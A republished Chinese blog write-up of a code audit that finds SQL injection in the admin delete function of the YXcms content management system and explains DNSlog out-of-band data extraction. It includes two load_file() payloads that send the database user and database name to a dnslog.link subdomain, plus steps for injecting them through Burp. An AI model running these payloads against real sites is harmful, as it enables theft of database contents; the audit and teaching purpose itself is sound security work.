小言_互联网的博客

代码审计-SQL注入

313人阅读  评论(0)

前提

初学者,都是看了网上的方法自己试着分析的,有些地方也不是很清楚,请大家多多指教。

代码审计

0x00

安装YXcms1.4.6(当时没找到1.4.6,所以用了1.4.5代替,但其实代码都是一样的,路径也没变化,可放心使用),具体代码,在资源,可免费下载。

使用工具,phpstorm。尝试过用seay审计工具试试能不能检测到,然后发现不能,就放弃了,直接用PHPstorm直接看吧。

全局查找快捷键:ctrl+shift+F

0x01

文件里面有提示,后台的账号密码为admin/123456

直奔主题(可能经验多了,大概就知道哪些地方有漏洞了,可惜我是小白,只能先照着做积累经验)

漏洞的位置大概是这样的

这里存在sql注入

0x02

审计代码,用的方法是函数回溯,这个我会!

0x01

首先是看到这个WWW\protected\apps\admin\controller\commonController.php文件

这里是用implode函数对$_POST[‘delid’]数组直接转换为字符的结果直接传入delete方法,那,去看看delete呗

0x02

ctrl+shift+F查找全局function delete
稍微学过一点点代码审计,所以看懂了下边的其他代码

唯一在意的地方,就是这个,所以就继续回溯,发现其实在同一个文件内,

0x03

因爲還不知道這個函數的作用和具體參數什麽的,所以继续回溯

随便一个点进去看看

php代码里面好像没有这个,应该是个自定義函数,依然回溯

0x04

然后就看到了一个熟悉的函数

看我发现了什么,

mysql_real_escape_string函数欸

总结:一路回溯下来,完全没有看到其他的防护方案,只有这里有个mysql_real_escape_string函数,猜测这里存在sql注入

从这里,结合分析出来,它存在于碎片列表的删除,不过,其实其他地方也是这样存在的,因为程序员在写的时候,,,,,,嗯,从这里下手咯那就

https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false

0x03

進入後臺后,直接用burp,在提交刪除申請的時候進行截斷,寫入payload即可。(操作之前,要使用dnslog.link進行記錄)

payload:

select load_file((concat('\\\\',(select hex(user())),'.test.dnslog.link\\321')))

select LOAD_FILE((CONCAT('\\\\',(SELECT DATABASE()),'.test.dnslog.link\\321')))

抓包

接下來burp抓包,進行sql注入
發包,如果長時間才反應出以下界面,則證明成功
ok,接著,將burp的截斷放回,查看dnslog
這就是它的數據庫名了。

0x04

關於dnslog.link結合sql注入的原理

這裏介紹的是dnslog.link,通常会给你一个三级域名,只需把信息写在第四级域名上就好了,然後在訪問網之后就会有查询记录

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

原因

一般在无法通过联合查询直接获取数据的時候,只能通过盲注来一步步的获取数据,但使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据。在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,也许你也可以使用代理池。。。

首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性

secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

函数

LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

此函数使用需要满足的条件

文件必须位于服务器主机上,你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

注意

load_file()函数访问的是文件,所以域名后面需要添加/abc(其他的也可以,比如/321)

用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

注意

load_file()函数访问的是文件,所以域名后面需要添加/abc(其他的也可以,比如/321)

其他查询步骤不在一一列出


转载:https://blog.csdn.net/qq_43717836/article/details/105402350
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场